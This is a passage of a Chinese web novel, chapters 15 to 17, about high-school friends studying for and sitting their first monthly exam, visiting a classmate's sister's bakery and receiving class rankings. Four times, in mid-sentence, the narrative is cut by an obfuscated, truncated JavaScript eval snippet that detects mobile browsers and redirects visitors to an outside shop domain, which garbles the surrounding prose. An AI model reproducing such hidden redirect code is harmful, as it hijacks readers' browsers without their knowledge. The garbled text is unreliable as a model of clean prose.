周五的下午一般只有三节课,最后一一节课往往是班会课,有些班主任往往开完班会就开始上课,但是李化腾觉得这个点也没几个人能认真听课,所以基本上都改成自习,在班上观察了一会之后,李化腾就回办公室了。 几乎是班主任出门的下一秒,季知节就感觉自己的后背被戳了一下。 叶珊珊递过来一张小纸条,用笔往后指了指,季知节顺着方向望过去,于落落正对着自己挤眉弄眼。 纸条上是三个可可爱爱的Q版小人,胸前挂着相机、留着齐刘海高马尾的小姑娘头顶冒着个气泡,对着齐耳短发带着框架眼睛的小姑娘和一个 扎着马尾辫,满头都是小夹子的小姑娘问道:【明天去自习室吗?】 还“贴心”地在另外两个气泡里面备注了选项:1.上午去2.下午去。 季知节笑着把纸条摊开给张镜看。 “强盗吗她是?”张镜无奈道,“上午去吗?” “去啊。”季知节仔细欣赏着画,“画得真好看啊,我太可爱了。” 张镜果断无视,伸出左手朝于落落的方向比了个1,季知节也不甘示弱,朝着于落落比了个大拇指。 一直关注着这边的于落落开心地比了个OK的手势。 “她不会,”张镜盯着小纸条突然道,“刚刚班会课就在画这个了吧。” 季知节沉默一秒,“哎呀真好看,我要收起来。”竟然是当做没听见想糊弄过去。 张镜:…… —— 说实话,季知节已经很久没有在假期早上八点起床了,上班上学起早是因为必须要这么做,而放假早起是因为…… 因为我疯了。 季知节一边刷牙一边愤然,昨天就应该选2。 再怎么骂骂咧咧,季知节还是背着书包出门了,路过奶茶店的时候,季知节还买了三杯奶茶。 “哟,不喝咖啡了啊?”于落落揶揄道。 “未成年谁喝咖啡啊。”季知节面不改色道。 “你最好是。”张镜凉凉道,天知道前些天是谁的桌子上摆着一杯咖啡。 季知节是在工作后才习惯了喝咖啡,尤其是有夜班的时候,美式当水喝,所以前几天熬了夜之后,第二天早上想也不想的买了杯咖啡。但是等喝到嘴里才想起了现在还小,咖啡因不要摄入过多,且也没到用咖啡续命的程度。所以今天果断买了奶茶,甜甜的才是快乐源泉啊! 各科老师好像都抱着考试前冲刺一把的心理,布置了许许多多的作业,哪怕昨天放学回家已经写了一部分了,还是有许多。季知节摸出昨天没写完的化学习题,快速地投入到了题海中;张镜的作业清单上更是打了一连串的勾,然后也不知道从哪里摸了个错题本开始写错题。 于落落看看这个,瞧瞧那个,狠狠吸了一口奶茶,把想要摸鱼的心按回肚子,开始对着还没怎么动的作业奋斗起来。 …… “我说,你们是不是有点太努力了!”于落落戳着碗里面的鸡蛋,皱巴着脸道,“直接写作业写到吃午饭啊……” “来自习室不是你提议的吗?”张镜淡定吃了口饭。 “那我也没想到真能老老实实做一上午题啊。”于落落欲哭无泪,“我现在脑子都要爆炸了。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14360041|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但是在自习室效率真的比在家高一点。”季知节客观道,“而且看你们都不玩手机,我也不好意思玩。” “我那是看你们都不玩,我也不好意思……”于落落麻木。 张镜手一顿,“其实我……” “……有毛病吧。”于落落叹了口气,最后实在没忍住笑了起来。 “总而言之,结局是好的。”张镜总结,“起码我们作业都写得差不多了。” “没错。”季知节疯狂点头,“我本来以为我要到下午才能写完,这下能多复习一点了。” “不过说真的,知知宝贝你最近真的,”于落落咬了口鸡蛋,“学疯了吧,几乎每个课间都看见你在刷题。” “何止,”张镜补充了一嘴,“她重新搞了几本笔记本,把我们学过的单元重新归纳了一遍,每天早上都在背。我怀疑她这个星期晚上都没睡觉。” “我睡了的!”季知节抗议道,“天天都在睡。” “当天睡当天起是吧。”张镜了然,“你有几次发消息给我都是一点多了。” 那是想问题目没反应过来时间…… “那不是要考试了嘛。”季知节坦然道,“不学习感觉挺心虚的。”而且也属实没想到高中时身体这么抗糟蹋,天天熬夜还精力百倍的。 “那你加油,把镜子从第一名扯下来。”于落落怂恿道。 “呵,输不了一点。”张镜眯着眼睛道,“我这段时间也没松懈好吗。” “不不不,”季知节看着张镜眼睛里熊熊燃烧的胜负欲,好笑道,“太远了太远了,这次能不能进班级前20都不知道。” 一中高一一共15个班,大概700人,在分科之前都不会刻意去区分重点班,每个班尖子生数量其实差不多,班级前20的话顶多只能算中游水准,没准还会偏下一点。 “……为什么?”于落落震惊且不理解,“我要像你这样学,我敲锣打鼓说我要拿第一。” “唉。”季知节沧桑道,“我这是速成,我现在感觉我还有好多没背熟。” “而且期望放低点,不容易失望啊。” “你想想,要是到时候成绩出来还没前20名多尴尬。” 于落落歪头盯着季知节看了一会,“行吧,可能你比较保守,但我觉得你这次成绩肯定不错。” “背书越背越觉得有不会背的,正常。”张镜也跟着道,“我也觉得你会考得不错。” 季知节告饶:“别给我立flag了,这一看就是要倒的架势,我下午得再刷套卷子。” “刷!我也要刷!”于落落突然热血,“别想丢下我偷偷摸摸学!” “不好意思我们当着你的面学的,”张镜吐槽道,“你先把那张物理试卷订正了再说。” 于落落突然泄气,“我讨厌物理。” “那你讨厌的科目稍微有点多。”张镜冷笑,“数学也没见你多喜欢。” “正经人谁喜欢学习啊!”于落落苦着脸道。 “就是就是!”季知节很难不赞同。 不过虽然话是这么说,下午的卷子谁也没少刷就是了…… 15. 第 15 章 高一的第一次月考座位是随机分配的,以后的考试则是按照前一次的考试排名分配考场。 季知节三个人没有被分到同一个考场,不过季知节倒是在考场里面看见了周博承,打过招呼之后,季知节就把语用小册子拿出来看了。 语文卷子写得比想象中要顺利一点,背过的答题技巧也能套用起来,就是在写文言文阅读的时候卡住了一会儿,翻译题实在有些拿不准,只得随便组了个词语放了进去,作文虽然中间的议论过程写得比较潦草,都是些常用的例子,但是季知节把开头结尾精雕细琢了一下,甚至利用每段开头勉强凑了个排比的句式,主打一个看得过去。 时间几乎是勉强够用,写完作文检查了一下答题卡就要收卷了。答题卡收上去的一刹那,季知节就跑到走廊找了个角落开始看化学,坚决不让一个答案跑到自己的耳朵里影响发挥。 考完化学也是一溜烟跑出教室,甚至于中午吃饭的时候季知节也各种拒绝于落落想要对答案的行为。 吃完饭午休结束,三人也没另外聚在一起,就在自己的考场里面准备下午的考试。 数学考试也完全按照提前打算好的策略,不在选择题最后一到两题、填空最后一题上纠结,最后一道大题的最后一小问更是不看,但是该拿的分一点也不含糊。 政治也比想象中顺手,只希望不要掉到坑里面去。 最难受的就是第二天早上的物地生,季知节愿称之为理文理夹心饼,加速度求着求着只会让心率加速度,在试卷上看见糖这个字的时候真的不会那么亲切,让人不禁感叹这左右为难的一生。 不过好在下午的英语给了季知节一部分自信,可能是平时用英语听力来磨耳朵到习惯真的有点用处,听力写起来相当得心应手,在阅读和完型里面看到几个四六级词汇的时候季知节居然还有点兴奋了起来,最后作文更是一气呵成。 不过这点兴奋立马就被历史选择题打败了,老老实实开始抠题干,开始逐渐接受自己看得懂英文却难以理解中文的事实。 就这么恍恍惚惚地考了两天,在把最后的历史答题卡交上去之后,季知节还有点缓不过神来。也正是这一愣神的功夫,躲了两天的对答案环节前功尽弃。 “那个选择题你选的什么来着,中书省那题。” “我选的B诶,你嘞。” “我感觉是C诶。” 季知节面无表情地看了一眼自己的试卷,很好,我选的A。 —— “到底是为什么那么热衷于对答案啊!”季知节抓狂道,“我躲了两天啊!而且我还选的和她们不一样……” “如果是‘中书门下奏状’那题的话。”张镜轻扶了一下歪歪扭扭的自行车,“你的A是对的。” 季知节的表情逐渐变得扭曲,想笑又觉得不太好,最终放弃了挣扎,“好吧,听到答案是对的时候,我还是很开心的。” “那我们要来对对其他的答案嘛~”于落落坏笑道。 “No,不要,打咩,安怼。”季知节一个花里胡哨的拒绝四连,“让我安稳度过一晚上吧,明天老师就要讲卷子了……” “明天第一节课……”季知节头皮发麻,“是不是数学来着。” 好了,这下于落落也不笑了。 因为没有作业,季知节久违地在12点前就入睡了,但是这一晚上并不安稳,在梦里,季知节又变回了25岁的样子,当她准备买杯咖啡就去上班时,发现咖啡店的服务员变成了李老板,然后从咖啡杯里掏出了一张只有66分的数学卷子,卷子上还写着季知节的名字。 “就考了66分还想喝咖啡?”李老板如是说道。 被惊醒的季知节一时不知道是李老板卖咖啡比较恐怖,还是就考了66分比较恐怖,亦或者,上班了还要考数学才是最恐怖的…… 而这种崩溃感在看见外面飘着雨丝时到达了巅峰。 季知节翻出了三个人的群聊。 季知节:【朋友们,快给我想个理由,运势说我今天不适合出门】 季知节:【心如死灰.jpg】 于落落:【摸不着头脑.jpg】 季知节:【这个雨太不祥了……】 张镜:【……】 当张镜和于落落到达学校时,就看见了一脸麻木的季知节。 “怎么了这是?”于落落一脸好奇。 “知道那是什么吗?”季知节指着窗外道。 “雨啊,还能是什么。” “知道雨在文艺作品中一般起着什么样的作用吗?” “衬托?”张镜放下书包顺嘴回答道。 “没错,一般用来衬托主人公的伤心,比如一般用于谈恋爱之后的分手或者什么葬礼。”季知节笑得惨淡,“但介于我还没有谈恋爱,我们可以推断,今天就是我的葬礼……” “什么东西?!”于落落怀疑自己的耳朵,“你这个脑回路,只是个普通的下雨而已啊……” “……”张镜显然已经不知道说什么了,有点想笑,但是季知节看着又是真的很伤心…… “不,这是我人生的最后……” 刚摸过来的周博承和沈瑜就听见了这样一句话,吓得连打招呼都忘了。 张镜简单转述了一下,沈瑜张了张嘴,刚打算安慰时,就听见周博承大大咧咧道:“什么嘛,你怎么知道你就是主人公呢?万一不是你呢。” 季知节一顿,肉眼可见地更丧了。三个人没好气地瞪着周博承,如果眼刀能伤人,周博承应该已经被千刀万剐了。 “不会说话就给我闭嘴。”沈瑜咬牙道。 “啊,对,对不起……我不是那个意思……”周博承无措地看着季知节。 “不,你说的没错……”季知节叹了口气,“我不能确定我是主人公……” 我只是,不想再变成那个25岁的自己罢了…… “谁说的!”于落落反驳道,“你的生活你当然是主人公啦!” “对,但是这场雨绝对不是什么葬礼的意思,”沈瑜突然灵光一闪,“你自己名字不就带雨吗?” “‘好雨知时节’,你自己说的啊,”沈瑜看着季知节笑道,“下面一句可是‘当春乃发生啊’。” 看着季知节被震住的脸,张镜暗戳戳给人比了个大拇指,跟着开玩笑道,“我们知知这么勇,要质疑杜甫吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14369390|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “啊,”季知节疑惑道,“是这样的吗?” “当然!”几个人七嘴八舌道。 …… “所以,你是因为梦到了自己考66分才这么神经病的?”张镜坐在一旁总结道。 “不,分明是因为李老板卖咖啡。”于落落趁人还没来齐,坐在了陆萍的位置上,一本正经道。 “你25岁的话会在做什么啊?”周博承坐在了张镜后面,好奇道,“上什么班啊?” 季知节觉得这群人更神经病,“我很认真的在伤心好吗?你们的重点就是这些?” 坐在后面的沈瑜看着有些气急败坏的季知节笑得眯起了眼睛,“所以李老板真成老板了?” “按你这么说还真的诶!”于落落眼睛一亮,“我们外号起得好牛啊。” “那按你们这么说,李老板应该去教物理或者化学。”季知节冷笑道。 “嗯?” “李化腾,理化腾。” “天才!”桌子被周博承拍得框框响,“你是天才。” 看着笑得不能自已的几个人,季知节也没忍住,和几个人笑作一团。 “不行了,”于落落揉了揉脸颊,“我要笑死了。” “那您悠着点。”季知节开口就是地方腔调,“咱这可没人伺候您。” “救命!”于落落又笑开了,“这人疯了,长我笑点上了。” “咱的荣幸。”季知节谦虚道。 “行了行了,都回去了。”笑够了的张镜维持秩序道,“陆萍她们一会要到了。” “我要和其他人分享一下这个梗。”于落落站起身。 “那可不,这不得开个专场啊。”季知节完全放飞自我。 几个人边走边笑,于落落还趁机拍了拍季知节的脑袋。 季知节摸着脑袋决定先冷静一下,然后把历史笔记拿了出来,打算在英语早读之前先看看历史,旁边突然传来一道声音。 “不会的。” “嗯?”季知节偏头。 “你不会只考66分,你的作业、你的笔记、你的努力还有我,为你作证。”张镜看着季知节认真道。 没有人比张镜更清楚这一个星期来季知节都是怎么做的。每天早早到校,交完作业就开始背书,下课之后就开始整理笔记,除了学校布置的作业之外,那天一起买的资料也已经和课程同步了,甚至针对不太熟练的知识点还另外找了题目做,文具盒里面还放了一小瓶风油精。张镜那天说她不睡觉的话不是在开玩笑,而是她真的有这个怀疑,偏偏她每天学习的时候又跟打了鸡血一样。 张镜曾经想问季知节,这一个星期为什么要这么努力,但是看着季知节的样子,张镜觉得理由其实也不是那么重要了,不管是什么理由,她只觉得努力是不会被辜负的,就像她一直所践行的那样。 “你也不会不是这场雨的主角。”或许是很少说这样的话,张镜有些害羞的扶了扶眼镜,却没有把目光从季知节脸上移开。 好似被烫到一般,季知节狼狈地移开视线,眼睛眨得厉害。 “嗯,我们都是主角。” 无论是这场雨,还是我们的人生。 16. 第 16 章 季知节握着红笔,顺着李化腾报出来的的答案一路往后,占据了第一整页的选择题被轻飘飘地翻了过去,还没反应过来,填空题答案就接踵而至。 “选填全对的人举手。” 整个班只有三个人,张镜、沈瑜、以及一个平日里十分认真的男生林江哲。 “错了一个的呢?” 张镜的衣角被扯了扯,稍稍偏过头,就对上了一双写满不可思议的眼睛。 季知节的右手还拉着张镜,左臂立在课桌上,处于空中的手指半蜷着,仔细看大拇指还有点发抖。 被移到中间的试卷写满了黑色的解题过程,除此之外没有红色的痕迹,第一面选择题全对,想来应该只是填空题最后一题错了。 张镜笑着放下手中的笔,用两只手比了两个大拇指,无声说道, “太棒了!” 沈瑜看着前方缓慢举起来的手,手中的笔转了个圈,笑得眉眼弯弯。 —— 一下课于落落就窜到了季知节身边,抱着女孩的脑袋就是一顿揉搓。 “可以啊,选填错一个,你这都直接有75分了,你那个梦假的不能再假了。” 任由于落落的动作,季知节东倒西歪地笑着说,“运气好,我选择最后两题是全蒙的,我也没想到。” “你都排除两个答案了。”张镜撑着脑袋笑,“二选一几率还是很大的。” “嘿嘿。”季知节整个幸福地冒泡泡,“后面的好像也还行。” —— 不过不是所有的老师都喜欢在卷子发下来之前讲题目,这周剩余的两天也不够把所有的题目都讲完,还是有部分留到了下周。 但是这并不妨碍季知节的好心情,周五放学就把作业写完了,虽然因为生物钟周六早上没能睡个彻底,但是偶尔给自己做个小早餐也是个不错的体验。 煎得金黄的鸡蛋被夹在了馒头中间,昨天晚上没吃完的剩菜也能稍作一下点缀,不伦不类的“汉堡”就这么诞生,甚至于今天的搭配也有了灵感。 季知节看着镜子里穿着嫩黄色上衣和白色半身裙的自己,想了想,又给自己编了个侧麻花辫,还缀了朵小雏菊。 好嫩,但是好好看啊。 季知节臭屁地想。 显然好看并不是季知节的自夸,当到了汇合地点,于落落和张镜看见青春靓丽的女孩时,两个人都眼睛一亮。 “哇,好可爱啊!”于落落转着圈欣赏,手上还比划着,“你这个辫子编的好好看,怎么从这边编到那边去的啊?” “我的长头发可不是白留的。”季知节挑眉,“都是技术啊技术。” “好看!我也要!”于落落果断道,“然后我们找地方拍照吧!这么好看不拍照可惜了!” “可以啊!”季知节看着于落落今天的黑粉搭配,“我给你编个酷酷的,包你满意。” 张镜站在一边推了推眼镜,没说话。 “镜子也扎一个吧,”季知节看着张镜笑道,“我给你编。” “我头发太短了。”张镜拒绝道。 “短发也有短发的编发啊。”季知节说得理所当然,“有些发型短发编得才可爱呢。” “真的嘛?”张镜半信半疑。 “给你看看什么叫天才编发师。”季知节撇了撇嘴。 —— “不行,我太好看了。”于落落在一旁对着手机自夸,两个像蝴蝶结一样的丸子固定在耳朵边上,还特意编了几个细麻花辫搭在肩膀上,在买橡皮筋的时候还顺手买了几个彩色的小发卡,于落落觉得自己下一秒就能去打歌了。 张镜也看着镜头里的自己有些发愣,宛如公主一样的侧编发显得人俏皮又可爱,被挑松的发丝随意又自然。明明只是换个发型而已,整个人的呆板劲都不见了,反而显得青春阳光了起来。 犹豫了一会,张镜朝着一旁收拾东西的季知节道,“手机……开美颜了?” 季知节都逗笑了,“这不是你手机嘛。” 张镜仔细打量了一下手机,是原相机…… 于落落揽过张镜笑嘻嘻道,“你本来就很好看啊。” “就是啊,我们镜子可好看了,平时你旁边的头发很容易把脸遮住,编上去就会自然很多,而且也不会挡视线。”季知节把公共长凳上的东西收拾干净,“欣赏好了没两位美女,再不走人家以为我们在搞什么行为艺术呢。” “嘿嘿,那不是在别人店里面扎头发感觉不太好嘛。”于落落利落起身,“去哪玩呀?” 季知节环顾了一下周围,“那家‘琼味’是不是在这条街上来着,我想买点面包回去当早饭。” “好诶!我也想吃!”于落落欢呼。 —— “欢迎光临。” 午后阳光正好,光线温暖着每一丝空气,贴着巨大logo的玻璃大门被拉开,街道上来来往往车辆的鸣笛声撞击着音响里放出的乐声,季知节就这样踩着喧嚣声闯入了沈瑜的视野。 季知节也没想到能在店里面看见沈瑜,不过更令人在意的是沈瑜此刻的装束,实在是太粉了,粉色的贝雷帽、粉色的围裙、粉白相间的口罩。 “哇哦。”季知节无声感叹道。 沈瑜后知后觉自己如今的样子,暴露在外的耳朵霎时间通红,一时不知道该说什么。 “哇哦。”于落落和张镜对视一眼,也无声感叹道。 四下寂静,就当季知节打算硬着头皮打断这该死的尴尬时,后厨的帘子被掀开了。 “干嘛呢小玉,不是有客人吗?”开口的女生大概二十来岁,过耳短发被染成了白金色,和粉色的贝雷帽一起吸引着别人的眼球,和沈瑜如出一辙的口罩和围裙在这个女生身上显得服帖又帅气,小臂上还纹了一个“琼味”的logo。 “姐,”沈瑜看向女生,语气里充满了淡淡的绝望,“这些是我同学。” “啊,你们好啊。”沈琼看着生无可恋的沈瑜,又看看这几个女孩,温柔道,“来买东西还是来找沈瑜玩呀?” “姐姐好。”几个人有点局促,互相看了一眼,最后季知节道,“我们是来买东西的,上次沈瑜带到学校的饼干和泡芙太好吃了,我们都想再买一点。” “饼干和泡芙啊~”沈琼挑眉,意味深长的看了一眼沈瑜,“那刚好,马上有一锅要出炉了,能稍微等一会吗?” “可以可以!”于落落点头道。 “那你们要喝什么吗?姐姐请你们,让沈瑜给你们做。”沈琼指着后面的清单大方道。 沈瑜:“……” “不用这么麻烦的。”季知节疯狂摇头,“谢谢姐姐,我们去那边坐着好了。” 沈瑜隐秘地瞥了一眼沈琼,对着季知节道:“没关系,你们想喝什么,或者别的什么小点心?” 季知节还想拒绝,又听见沈瑜笑着说:“帮个忙?这些她给我算提成的。” 沈琼在一旁笑着不说话,女孩们犹豫了一下,最后还是一人点了一杯。 “那你们去那边坐会?”沈瑜指着卡座,“那边光线比较好,我一会给你们送过去。” 沈琼看着离开的几个女孩,对着开始工作的沈瑜,佯装好奇道:“饼干是谁想吃来着?周博承吧?” “……” “你的工资原来是算提成的吗?我怎么不知道?” “……” “粉色的工作服是不是很好看?” “……” “啧啧啧。”沈琼摇头晃脑地进了后厨。 —— 于落落打量着周围,忍不住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14376440|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感叹道:“这个店好粉、好梦幻啊!” “确实。”张镜看着粉色的椅子、浅蓝色的桌子、粉白相间的地板,“沈瑜的姐姐也好酷。” “很有冰淇淋的感觉。”季知节总结道,“很夏天。” 于落落掏出手机,“不用另外找地方取景了,我们来拍一组甜点味的大片吧。” …… “所以是带着小雏菊的那位?” 沈瑜被突然出现在耳边的声音吓了一大跳,手里的果茶差点飞了出去。 沈琼耸了耸肩,“你小心点,不然她就没得喝了。” “你在干什么?”沈瑜没好气道。 “我只是想给几位小姑娘送份点心。”沈琼无辜道,“给她们拍照送点道具。” 顺着沈琼的视线看过去,少女的发丝在阳光下泛出金色的光芒,一双圆眼直直地看着摄像头,手指在脸颊边比了个“V”,嘴角的笑容活泼又可爱。不知道听到了什么,突然没忍住笑了起来,摆好的姿势被打乱了,一边笑还一边谴责对面的两个女孩,沈瑜的手指微微动了动。 “所以真的是她?”沈琼揶揄道。 沈瑜收回视线,淡定道:“听不懂你在说什么。” “哼。”沈琼点了点做好的果茶,“我可不记得我教你把草莓气泡水里的草莓切成爱心。” 草莓气泡水是季知节点的那份饮料。 “她们要拍照,拍出来好看。”沈瑜低头检查着摆盘,“你要送什么,我们赶紧拿过去吧。” “嘁。”沈琼撇了撇嘴,“你自己在柜子里面挑。” …… 看着沈瑜和沈琼端着一堆东西过来,三个人惶恐地站起了身。 接过来也不是,不接也不是,季知节为难道,“姐姐,这是不是太多了,我们没点这些啊。” “哪里多了。”沈琼指挥着沈瑜放下东西,“饼干和泡芙是你们想要的,饮料是我请的,提拉米苏和慕斯蛋糕是沈瑜请的。” 闻言季知节不禁看向沈瑜,一脸“你在干嘛”的表情。 沈瑜默默移开了视线。 “那还有这些呢?”于落落指着许多独立的小包装袋。 “啊,那个啊。”沈琼像是才发觉,“那个是姐姐想请你们帮的忙。” “我最近在开发新品,但是不知道味道怎么样。”沈琼头疼道,“沈瑜这个人吧,只要不是毒药他都觉得好吃。” “并不是。”沈瑜默默反驳。 “所以我想请你们试一试,然后告诉我怎么样。”沈琼忽略了沈瑜的反抗,热切道。 “那我们也不能白吃啊。”张镜有点犹豫,“这样我们都不好意思再来了。” “就是啊。”季知节看着沈琼,“我们真的很感谢姐姐你对我们这么好,但是我们也不能白拿这么多啊。” 沈琼还想说什么,季知节就接着道,“这样吧姐姐,你请我们喝的饮料我们就厚着脸皮收下了,但是沈瑜请的这些甜点我们真的不能要。” “刚刚也说了他是在这里工作,赚钱都不容易的,不过我们也知道姐姐人美心善又热情,那这样好不好,这些点心给我们点折扣,我们不白拿,姐姐你也别白给嘛。”季知节扯出一抹相当乖巧的笑容,撒娇道。 “至于试吃,我们真的太荣幸了,但是这个数量有点太多了,我们每种拿一个就行啦,我们三个人分一分就完全可以啦,好吃的吃一点就会念念不忘了,这样我们下次才会再来买嘛。” “你这小姑娘。”沈琼听着这一番话笑了起来,“脑子转的很快嘛。” “嘿嘿。”季知节不好意思笑笑。 “行吧。”沈琼拍了拍季知节的脑袋,“听我们小可爱的,欢迎你们下次光临。” “我去忙,沈瑜你陪她们一会。” 17. 第 17 章 沈瑜刻意忽视了沈琼的挤眉弄眼,摘下口罩在季知节旁边坐了下来。 于落落看着沈琼走远的背影,转头对沈瑜感叹道:“你姐姐真热情啊,还好知知机灵,不然我要白吃这么多东西我真的良心不安。” “对,说话一套一套的,有点酷。”张镜也点头,把视线转向季知节,却发现季知节在发呆。 张镜把手放在季知节勉强晃了晃,“怎么了?” “香香的。”季知节捂着脑袋喃喃道。 “?” “沈瑜!”女孩骤然亮起的眼睛盯着旁边的少年,激动的语气让沈瑜的心跳漏了一拍。 “嗯?” “你姐姐!好帅!好香!”季知节压低声音,还时不时往前台瞥一眼。 “……”看着季知节有些泛红的脸颊,沈瑜艰难道,“她经常在厨房待着,身上都是甜甜的味道也正常吧。” “就是这个啊!”季知节眼睛亮亮的,“她真的很喜欢做这个啊,身上的那个味道就感觉一直投身在烘焙这一行。而且她连纹身都是店的logo诶。” “……那个纹身只是她怕我爸拉她回去考公。”沈瑜苍白道。 季知节就像没听见一样,“而且这个店也是,装修也好,你们的工作服也好,一看完全就是她自己的想法。” “没错没错!”于落落也激动道,“甚至这个灯都很好看,每一个灯都还不一样,一看就是认真选的。” “感觉这个店就是自己理想的具象化一样。”张镜一锤定音。 “太帅了。”三个人齐齐感叹道。 沈瑜看着旁边激动的女孩,无奈一笑,“这个确实。” “我姐姐很喜欢做点心,一直想开一家这样的店,她有个本子,一点点记着她想要一个什么样的店。” 沈瑜看了一眼前台忙碌的姐姐,骄傲道:“后来她就把本子上的店搬到了这里。” “哇!”季知节感叹道。 “粉色的工作服确实是因为她喜欢粉色。”沈瑜有些无奈地指了指自己身上的围裙,“还一定要我穿。” “但是很可爱啊!”季知节看着这一身夸道,“就是把自己捂得太严实了,把口罩摘掉帅多了。” 沈瑜轻轻瞪了一眼女孩,“不行,我有点害羞。” “白皮怕什么!”季知节抗议。 沈瑜轻咳一声拉回话题。 “不过我真的很感谢她。” “你在这是因为?”于落落好奇道,“赚钱有什么想做的事情吗?” 沈瑜看了一眼季知节,解释道:“我想学音乐、买设备。” “我父母都觉得这些当兴趣爱好就可以了,没必要深入。”沈瑜解释,又看着季知节道,“你那天看见我上吉他课也是因为我姐帮我说过话我才能继续学的。” 于落落看着对面的两个人,犹豫了一下,把“你哪天看见的”咽回了肚子。 “又不能在外面打工,要不是我姐,我可能连吉他弦都换不起了。”沈瑜惆怅道。 季知节看了一眼沈瑜,又看了一眼于落落和张镜,把草莓气泡水薅到了自己面前,透明的玻璃杯外沁着水雾,时不时有水珠顺着杯壁流下来,鲜艳的红色沉在杯底,冰块和气泡浮在上方,还有被切成爱心的的草莓,分层清晰又明艳,杯口点缀着的薄荷小巧又可爱。用吸管戳了戳里面的爱心草莓,季知节犹犹豫豫道:“你们,都是怎么找到自己喜欢的事情的啊?” 看着三个人的目光朝自己看过来,季知节皱巴着脸比划道:“你看落落你想去当导演,镜子你想考古,姐姐知道自己想去做烘焙,沈瑜你喜欢音乐,你们都是怎么确定的呢?” “我想去考古?”张镜疑惑道。 季知节眼睛一眨,突然反应过来,结巴道:“啊,不是嘛……” “我不确定啊。”张镜没太纠结,“我有考虑过这个,但是不确定,我什么时候和你说过的吗?” “是吧,你好像提过的。”季知节强装镇定道。 “我是觉得现在能知道自己喜欢做什么、想做什么的都是少数。”张镜喝了一口杨枝甘露,“只不过你这么一数,感觉我们身边的浓度是有点超标。” “可不是嘛!”季知节愤愤道,“搞得人压力很大啊!” “不过要是一直找不到梦想呢?”愤愤了没两秒,季知节又叹了口气。 看着一秒一个表情的季知节,沈瑜没忍住笑了一下,在季知节眼刀飞过来之前,沈瑜正色道:“其实每个人对梦想的定义是不一样的吧?” “并不是只有确切的职业、想做的事情才叫理想吧。我觉得找份工作普普通通的过一生也是理想啊。” “甚至于说这其实是大部分人的理想。”于落落挑眉,“又不是每个人都想像电影里那样过得跌宕起伏的。” “而且找不到慢慢找就是了,只要我是在往前走就行了,不然人为什么要长大呢。”张镜说得云淡风轻。 “我说你们,”季知节震惊地环视了一圈,“怎么能这么轻易地做到这么帅气啊。” “低调低调。”于落落谦虚道,“一些天赋。” “所以你不愿意告诉别人琼味是你姐姐开的,到底是不想带代购还是不想别人看见你穿粉围裙啊?”季知节突然转头问道。 “……”沈瑜起身,“告辞,我上班去了。” 季知节看着落荒而逃的沈瑜,咯咯直笑。 于落落眼珠子骨碌碌转了转,碰上了同样眼神直飘的张镜,半晌,两人举起杯子碰了一下。 —— 周一早上依旧是语文早读,季知节把语文书摊在桌面上,旁边还放着一本合上的语基小册子。 旁边的位置空了半节早读,倒不是迟到,而是张镜一到教室就被李化腾喊到办公室了。 就在季知节正艰难地和语文“常识”奋斗时,桌上突然被推过来一张小纸条。张镜甚至都还没来得及坐下,就示意季知节赶紧看纸条,脸上还挂着笑容。 像是意识到什么,季知节猛然睁大了眼睛,心跳如鼓,小小的一张纸条重若千钧,难耐地深呼吸了一下,季知节摊开了小纸条。 “恭喜你,班级第十名。” 随着张镜兴奋的声音而映入眼帘的是稍显潦草的笔迹,但是这并不妨碍季知节看清楚自己的成绩。 语文:115,数学:128,英语:145,政治:88,历史:85,地理:82,物理:86,生物:86,化学:85总分:890/1050班排:10年排:113 虽然预料到会比自己期望的目标要高,但是确实没想到会高这么多,季知节有些呆愣着看着自己的成绩,不过其中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14389661|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 运气成分很多,像是数学的选择两题十分,而且128分的话说明后面的简答题答得不是特别好,何况现在没分科,对偏科的人不友好,这个成绩能冲到第十名很大一部分原因是因为文理科成绩均衡,年排也不是特别高…… 季知节对着成绩单不断碎碎念。 但是…… 女孩转头,眼睛一眨不眨地盯着朋友。 像是知道女孩想问什么,张镜耐心道,“是真的,我刚刚在办公室偷看到的。” 